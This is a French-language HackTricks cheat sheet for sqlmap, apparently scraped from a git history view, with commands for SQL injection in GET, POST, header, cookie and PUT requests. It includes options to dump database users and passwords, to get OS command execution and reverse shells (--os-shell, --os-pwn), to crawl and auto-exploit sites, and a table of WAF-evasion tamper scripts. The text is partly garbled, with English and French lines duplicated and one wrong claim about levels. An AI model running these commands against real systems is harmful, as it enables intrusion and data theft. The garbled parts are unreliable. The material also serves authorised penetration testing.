hacktricks/pentesting-web/sql-injection/sqlmap.md

330 lines
16 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>
2023-06-03 13:10:46 +00:00
# Arguments de base pour SQLmap
2023-06-03 13:10:46 +00:00
## Générique
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
2023-06-03 13:10:46 +00:00
## Récupérer des informations
2023-06-03 13:10:46 +00:00
### Interne
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
2023-06-03 13:10:46 +00:00
### Données de la base de données
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
2023-06-03 13:10:46 +00:00
# Emplacement de l'injection
2023-06-03 13:10:46 +00:00
## À partir de la capture Burp/ZAP
2023-06-03 13:10:46 +00:00
Capturez la requête et créez un fichier req.txt.
```bash
sqlmap -r req.txt --current-user
```
2023-06-03 13:10:46 +00:00
## Injection de requête GET
### Basic Usage
### Utilisation de base
```
sqlmap -u "http://www.target.com/vuln.php?id=1" --dbms=mysql --level=5 --risk=3 --batch --threads=5
```
### Description
### Description
L'injection de requête GET est une technique d'injection SQL qui exploite les vulnérabilités des paramètres de requête GET d'une application Web. Cette technique est similaire à l'injection de requête POST, mais elle cible les paramètres de requête GET.
Lorsqu'un utilisateur soumet une requête GET, les paramètres de la requête sont inclus dans l'URL. Par exemple, dans l'URL suivante :
```
http://www.example.com/search.php?query=example
```
Le paramètre de requête est `query` et sa valeur est `example`.
L'injection de requête GET peut être utilisée pour extraire des informations sensibles de la base de données de l'application Web, telles que des noms d'utilisateur, des mots de passe et des données personnelles. Elle peut également être utilisée pour modifier les données de la base de données ou pour exécuter des commandes à distance sur le serveur.
### Exemple
Considérons l'URL suivante :
```
http://www.example.com/vuln.php?id=1
```
Nous pouvons utiliser sqlmap pour tester si le paramètre `id` est vulnérable à une injection de requête GET :
2023-06-03 13:10:46 +00:00
```
sqlmap -u "http://www.example.com/vuln.php?id=1" --dbms=mysql --level=5 --risk=3 --batch --threads=5
```
2023-06-03 13:10:46 +00:00
Si le paramètre `id` est vulnérable, sqlmap affichera les informations de la base de données et les données sensibles qu'il a pu extraire.
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
2023-06-03 13:10:46 +00:00
## Injection de requête POST
---
### Basic POST Request Injection
### Injection de requête POST basique
---
#### Example
#### Exemple
```
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
username=admin&password=1234
```
---
#### SQLMap Command
#### Commande SQLMap
```
sqlmap -u "http://example.com/login" --data "username=admin&password=1234" --method POST
```
---
#### Explanation
#### Explication
In a POST request, the parameters are sent in the body of the request, instead of in the URL. To perform a POST request injection, we need to use the `--data` option in SQLMap to specify the parameters that we want to inject.
Dans une requête POST, les paramètres sont envoyés dans le corps de la requête, plutôt que dans l'URL. Pour effectuer une injection de requête POST, nous devons utiliser l'option `--data` dans SQLMap pour spécifier les paramètres que nous voulons injecter.
---
#### Additional Options
2023-06-03 13:10:46 +00:00
#### Options supplémentaires
2023-06-03 13:10:46 +00:00
- `--method`: specifies the HTTP method to use (default is `GET`)
- `--cookie`: specifies the cookie to use for authentication
- `--proxy`: specifies the proxy to use for requests
- `--method`: spécifie la méthode HTTP à utiliser (par défaut, c'est `GET`)
- `--cookie`: spécifie le cookie à utiliser pour l'authentification
- `--proxy`: spécifie le proxy à utiliser pour les requêtes
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
2023-06-03 13:10:46 +00:00
## Injections dans les en-têtes et autres méthodes HTTP
### Injection in Headers
### Injection dans les en-têtes
Headers can also be vulnerable to injection attacks, especially when they are used to transmit sensitive information such as authentication tokens or session IDs. In some cases, headers can also be used to bypass security controls or to perform other malicious actions.
Les en-têtes peuvent également être vulnérables aux attaques d'injection, en particulier lorsqu'ils sont utilisés pour transmettre des informations sensibles telles que des jetons d'authentification ou des identifiants de session. Dans certains cas, les en-têtes peuvent également être utilisés pour contourner les contrôles de sécurité ou pour effectuer d'autres actions malveillantes.
To test for injection vulnerabilities in headers, you can use the `--headers` option in sqlmap. This option allows you to specify custom headers to be sent with the request, which can be used to inject payloads into the headers.
Pour tester les vulnérabilités d'injection dans les en-têtes, vous pouvez utiliser l'option `--headers` dans sqlmap. Cette option vous permet de spécifier des en-têtes personnalisés à envoyer avec la requête, ce qui peut être utilisé pour injecter des charges utiles dans les en-têtes.
For example, the following command tests for injection vulnerabilities in the `Authorization` header:
Par exemple, la commande suivante teste les vulnérabilités d'injection dans l'en-tête `Authorization` :
```
sqlmap -r request.txt --headers="Authorization: <injection_payload>"
```
### Injection in other HTTP Methods
### Injection dans d'autres méthodes HTTP
2023-06-03 13:10:46 +00:00
In addition to GET and POST requests, other HTTP methods such as PUT, DELETE, and OPTIONS can also be vulnerable to injection attacks. These methods are often used in REST APIs to create, update, or delete resources.
2023-06-03 13:10:46 +00:00
En plus des requêtes GET et POST, d'autres méthodes HTTP telles que PUT, DELETE et OPTIONS peuvent également être vulnérables aux attaques d'injection. Ces méthodes sont souvent utilisées dans les API REST pour créer, mettre à jour ou supprimer des ressources.
To test for injection vulnerabilities in these methods, you can use the `--method` option in sqlmap. This option allows you to specify the HTTP method to be used in the request.
Pour tester les vulnérabilités d'injection dans ces méthodes, vous pouvez utiliser l'option `--method` dans sqlmap. Cette option vous permet de spécifier la méthode HTTP à utiliser dans la requête.
For example, the following command tests for injection vulnerabilities in a PUT request:
Par exemple, la commande suivante teste les vulnérabilités d'injection dans une requête PUT :
```
sqlmap -r request.txt --method=PUT
```
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
2023-06-03 13:10:46 +00:00
## Injection de second ordre
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
2022-05-01 12:41:36 +00:00
## Shell
2023-06-03 13:10:46 +00:00
## Coquille
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
2023-06-03 13:10:46 +00:00
## Parcourir un site web avec SQLmap et auto-exploiter
SQLmap est un outil puissant pour l'exploitation de vulnérabilités de type injection SQL. Il peut être utilisé pour parcourir un site web à la recherche de vulnérabilités et les exploiter automatiquement.
Pour parcourir un site web avec SQLmap, vous pouvez utiliser la commande suivante :
```
sqlmap -u <URL> --crawl=1
```
2023-06-03 13:10:46 +00:00
Cela permettra à SQLmap de parcourir le site web et de collecter des informations sur les paramètres de l'URL et les formulaires. Si SQLmap détecte une vulnérabilité d'injection SQL, il vous demandera si vous souhaitez l'exploiter automatiquement.
2023-06-03 13:10:46 +00:00
Il est important de noter que l'exploitation automatique peut être dangereuse car elle peut causer des dommages au site web. Il est recommandé d'utiliser l'option `--level` pour spécifier le niveau de risque que vous êtes prêt à prendre. Par exemple, `--level=3` est le niveau de risque le plus élevé et peut causer des dommages importants au site web.
En utilisant SQLmap avec précaution, vous pouvez parcourir un site web à la recherche de vulnérabilités d'injection SQL et les exploiter automatiquement pour obtenir des informations sensibles.
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
2023-06-03 13:10:46 +00:00
# Personnalisation de l'injection
2023-06-03 13:10:46 +00:00
## Ajouter un suffixe
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
2023-06-03 13:10:46 +00:00
## Préfixe
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
2023-06-03 13:10:46 +00:00
## Aide pour trouver une injection booléenne
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
2023-06-03 13:10:46 +00:00
## Altération
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Description |
| :--- | :--- |
2023-06-03 13:10:46 +00:00
| apostrophemask.py | Remplace le caractère apostrophe par son homologue UTF-8 pleine largeur |
| apostrophenullencode.py | Remplace le caractère apostrophe par son homologue double unicode illégal |
| appendnullbyte.py | Ajoute un octet NULL encodé à la fin de la charge utile |
| base64encode.py | Encode en base64 tous les caractères d'une charge utile donnée |
| between.py | Remplace l'opérateur supérieur à \('&gt;'\) par 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Remplace l'espace après l'instruction SQL par un caractère blanc aléatoire valide. Ensuite, remplace le caractère = par l'opérateur LIKE |
| chardoubleencode.py | Encode en double URL tous les caractères d'une charge utile donnée \(sans traiter ceux déjà encodés\) |
| commalesslimit.py | Remplace les occurrences telles que 'LIMIT M, N' par 'LIMIT N OFFSET M' |
| commalessmid.py | Remplace les occurrences telles que 'MID\(A, B, C\)' par 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Remplace les occurrences telles que 'CONCAT\(A, B\)' par 'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Encode en URL tous les caractères d'une charge utile donnée \(sans traiter ceux déjà encodés\) |
| charunicodeencode.py | Encode en Unicode-URL les caractères non encodés d'une charge utile donnée \(sans traiter ceux déjà encodés\). "%u0022" |
| charunicodeescape.py | Encode en Unicode-URL les caractères non encodés d'une charge utile donnée \(sans traiter ceux déjà encodés\). "\u0022" |
| equaltolike.py | Remplace toutes les occurrences de l'opérateur égal \('='\) par l'opérateur 'LIKE' |
| escapequotes.py | Échappe les guillemets \(' and "\) |
| greatest.py | Remplace l'opérateur supérieur à \('&gt;'\) par son homologue GREATEST |
| halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé |
| ifnull2ifisnull.py | Remplace les occurrences telles que 'IFNULL\(A, B\)' par 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Encadre la requête complète avec un commentaire versionné |
| modsecurityzeroversioned.py | Encadre la requête complète avec un commentaire de version zéro |
| multiplespaces.py | Ajoute plusieurs espaces autour des mots-clés SQL |
| nonrecursivereplacement.py | Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement \(par exemple, .replace\("SELECT", ""\)\) filtres |
| percentage.py | Ajoute un signe de pourcentage \('%'\) devant chaque caractère |
| overlongutf8.py | Convertit tous les caractères d'une charge utile donnée \(sans traiter ceux déjà encodés\) |
| randomcase.py | Remplace chaque caractère de mot-clé par une valeur de cas aléatoire |
| randomcomments.py | Ajoute des commentaires aléatoires aux mots-clés SQL |
| securesphere.py | Ajoute une chaîne spécialement conçue |
| sp\_password.py | Ajoute 'sp\_password' à la fin de la charge utile pour l'obfuscation automatique des journaux DBMS |
| space2comment.py | Remplace l'espace \(' '\) par des commentaires |
| space2dash.py | Remplace l'espace \(' '\) par un commentaire de tiret \('--'\) suivi d'une chaîne aléatoire et d'une nouvelle ligne \('\n'\) |
| space2hash.py | Remplace l'espace \(' '\) par un caractère dièse \('\#'\) suivi d'une chaîne aléatoire et d'une nouvelle ligne \('\n'\) |
| space2morehash.py | Remplace l'espace \(' '\) par un caractère dièse \('\#'\) suivi d'une chaîne aléatoire et d'une nouvelle ligne \('\n'\) |
| space2mssqlblank.py | Remplace l'espace \(' '\) par un caractère blanc aléatoire à partir d'un ensemble valide de caractères alternatifs |
| space2mssqlhash.py | Remplace l'espace \(' '\) par un caractère dièse \('\#'\) suivi d'une nouvelle ligne \('\n'\) |
| space2mysqlblank.py | Remplace l'espace \(' '\) par un caractère blanc aléatoire à partir d'un ensemble valide de caractères alternatifs |
| space2mysqldash.py | Remplace l'espace \(' '\) par un commentaire de tiret \('--'\) suivi d'une nouvelle ligne \('\n'\) |
| space2plus.py | Remplace l'espace \(' '\) par un signe plus \('+'\) |
| space2randomblank.py | Remplace l'espace \(' '\) par un caractère blanc aléatoire à partir d'un ensemble valide de caractères alternatifs |
| symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs homologues symboliques \(&& et |
| unionalltounion.py | Remplace UNION ALL SELECT par UNION SELECT |
| unmagicquotes.py | Remplace le caractère de citation \('\) par une combinaison multioctet %bf%27 avec un commentaire générique à la fin \(pour le faire fonctionner\) |
| uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscule 'INSERT' |
| varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' |
| versionedkeywords.py | Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné |
| versionedmorekeywords.py | Encadre chaque mot-clé avec un commentaire MySQL versionné |
| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' |